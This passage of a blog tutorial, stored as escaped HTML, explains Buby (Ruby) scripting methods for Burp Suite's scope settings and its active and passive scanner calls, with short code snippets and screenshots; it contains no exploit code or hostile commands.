style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ doActiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ doPassiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ excludeFromScope&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ includeInScope &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;√ isInScope&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&amp;nbsp; issueAlert&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&amp;nbsp; makeHttpRequest&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&amp;nbsp; sendToIntruder&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&amp;nbsp; sendToRepeater&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&amp;nbsp;&amp;nbsp; sendToSpider&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;In Part 3 of this series we covered the two methods with lines drawn through them (above: evt_http_message and evt_scan_issue).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;In Part 4, the methods with checks next to them will be described along with code examples.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;div style="line-height: normal;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Times; font-size: medium; line-height: normal;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;You can find sample scripts for each of these under the examples directory of the buby-script repo located&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts/tree/master/examples"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;Here&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;includeInScope, excludeFromScope&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;----------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;The code here is nothing more than two arrays. The first array, EXCLUSION_LIST, contains items we'd like to exclude from scope. The second array, INCLUSION_LIST, contains items to include.&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-iOoyejagB5c/Tc4C49Th4MI/AAAAAAAAATE/tAriQbGM5AQ/s1600/include_exclude_scope_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-iOoyejagB5c/Tc4C49Th4MI/AAAAAAAAATE/tAriQbGM5AQ/s320/include_exclude_scope_1.png" width="294" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;This following portion of code contains a PREFIX array (both http and https). We perform an iteration of both and while iterating through this prefix array, we start iterating through a second list (EXCLUSION_LIST) and concatenating the prefix + host + the item in the EXCLUSION_LIST. This step is repeated for the INCLUSION_LIST. The $burp.includeInScope() method is called and we submit the concatenated value (url) to it.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-oD5Cry9Ilcg/Tc4Dw3oOibI/AAAAAAAAATI/lmwyAY9JJjo/s1600/include_exclude_scope_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;img border="0" height="242" src="http://3.bp.blogspot.com/-oD5Cry9Ilcg/Tc4Dw3oOibI/AAAAAAAAATI/lmwyAY9JJjo/s320/include_exclude_scope_2.png" width="320" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;do_active_scan, do_passive_scan, isInScope&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;----------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/b&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;The def $burp.evt_proxy_message is a familiar one at this point in the series so we won't discuss this in detail. The code&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;@@msg = nil&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt; exists solely to instantiate a global object called msg. We will need to keep an object associated with the request message (headers/body) because passive scanning requires both a request message and response message.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;pre = is_https? 'https' : 'http' &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;is just a way to define the "pre" object based on whether or not it is http or https message.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;pre_bool &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;does the same thing as the pre object but instead of http/https it is a true/false.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;uri = "#{pre}://#{rhost}:#{rport}#{url}" &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;is just the url (string concatenation).&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;The last three lines of code here basically set the @@msg value. We only want to do this if it is a request. Remember, we need an object to hold the request message so that even if the current message is a response we can call both the request message and response message.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Y33DGkBwDBQ/Tc4XC1gmFqI/AAAAAAAAATU/21d_aFJsOVo/s1600/actv_pasv_scan_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;img border="0" height="166" src="http://3.bp.blogspot.com/-Y33DGkBwDBQ/Tc4XC1gmFqI/AAAAAAAAATU/21d_aFJsOVo/s400/actv_pasv_scan_1.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;Next bit of code basically says, if this message is in scope AND is a request message, start performing an active scan. Otherwise if it is a message which is in scope but a response message then perform passive scanning.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$burp.do_active_scan takes 4 objects&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-rhost &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt; host value&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-rport &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt; port value&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-pre_bool &amp;nbsp; &amp;nbsp;=&amp;gt; true/false based on whether or not it is https&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-message &amp;nbsp; &amp;nbsp;=&amp;gt; String value (or Java bytes), full message (request only of course)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;$burp.do_passive_scan takes 5 objects&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-rhost &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt; host value&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-rport &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt; port value&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-pre_bool &amp;nbsp; &amp;nbsp;=&amp;gt; true/false based on whether or not it is https&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-@@msg &amp;nbsp; &amp;nbsp;=&amp;gt; request message, string value (or Java bytes)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;-message &amp;nbsp; &amp;nbsp;=&amp;gt; &amp;nbsp;response message, string value (or Java bytes)&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;div style="font-size: medium; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-RBFBeQ-Bw_g/Tc4XGwMZh8I/AAAAAAAAATY/Bn1SboLWCN8/s1600/actv_pasv_scan_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;img border="0" height="133" src="http://3.bp.blogspot.com/-RBFBeQ-Bw_g/Tc4XGwMZh8I/AAAAAAAAATY/Bn1SboLWCN8/s400/actv_pasv_scan_2.png" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;Okay, next up is Part 5 of this series where we will cover the rest of the methods listed above.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" style="color: white;"&gt;&lt;br /&gt;&lt;/span&gt; 